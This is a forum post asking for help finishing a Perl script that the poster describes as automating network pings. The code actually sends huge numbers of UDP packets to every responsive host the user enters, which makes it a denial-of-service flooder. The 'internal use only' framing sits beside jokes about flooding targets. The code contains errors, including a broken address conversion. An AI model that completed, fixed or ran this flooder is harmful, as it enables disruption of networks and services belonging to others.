Hi Guys,
Im making this script to automate network pings for each host entered by the user. Could someone please tell me how to properly convert the address for use by the socket? This is for internal use only!
CODE
#!/usr/bin/perl
use Net::Ping;
use IO::Socket;
#use strict;
use Getopt::Long;
################################################################################
#
# Author Th3 Mant1s
#
# Aknowldegements: Ivan Pepelnjak udp flood code
#
# Program Description: Ping stuff and Flood it with UDP Packets
# Disclaimer: For internal use only, only use with permission of the Network Administrator!
#
# Remember to install the ::External for the Ping module.
#
################################################################################
#
#_______________________ENTER THE IP's TO BE SCANNED_____________________________________
#A Welcome Statement...
print "Welcome to the program \n";
print "Please enter IP's you wish to hump (I mean flood) and do 'CTRL+D' when finished \n";
#Read in the IP Addresses to be processed
@IPS; #Array to store IP's
$count = 0;
while ($readin = <STDIN>){
print "\n";
push (@IPS, $readin);
$count = count +1;
}continue{
foreach(@IPS){
print "$_\r";
print "\r";
}
}
#-------------------------------CHECK FOR ALIVE HOSTS-----------------------------------------
$p = Net::Ping->new(); #open a new pint routine
@uphosts; #New array for the hosts that are up
foreach $host (@IPS){ #for each ip entered above
if ($p->ping($host, 2) != null){ #if this returns null then go to else.
push (@uphosts, $host); #add live hosts to an array
print "$host seems to be up and pinging!";
foreach(@uphosts){ #Loop to print the hosts to the screen
print "\r";
print "$_\r";
}
}else{
print "$host seems to be dead or not responding";
print "\r";
}
sleep(1)
}
$p->close(); #close ping one
#_-----------------------Convert the ip's to bytes-----------------------------------------
#NEED TO FIGURE OUT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
@conv_uphosts; #array of converted up hosts
foreach $address (@uphosts){ #Convert to network binary
$address = sprintf "The version is %p\n", $address;
push (@conv_uphosts, $address);
}
foreach $check (@conv_uphosts){ #loop for checking the host list
print "$_\r";
print "\n";
}
#-----------------------------The UDP PAYLOAD--------------------------------------
#Craft UDP Packets for each alive host and flood.
#Random ports and sizes
$psize = int(rand(1024-64)+64);
$pport = int(rand(65500))+1;
foreach $conv_host (@conv_uphosts){
for ($i=0;$i<100000000;$i++) {
socket(flood, PF_INET, SOCK_DGRAM, 17);
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $conv_host));
print "this might be working?";
}
}
print "\n";
print "This program is finished!";
print "\n";
__END__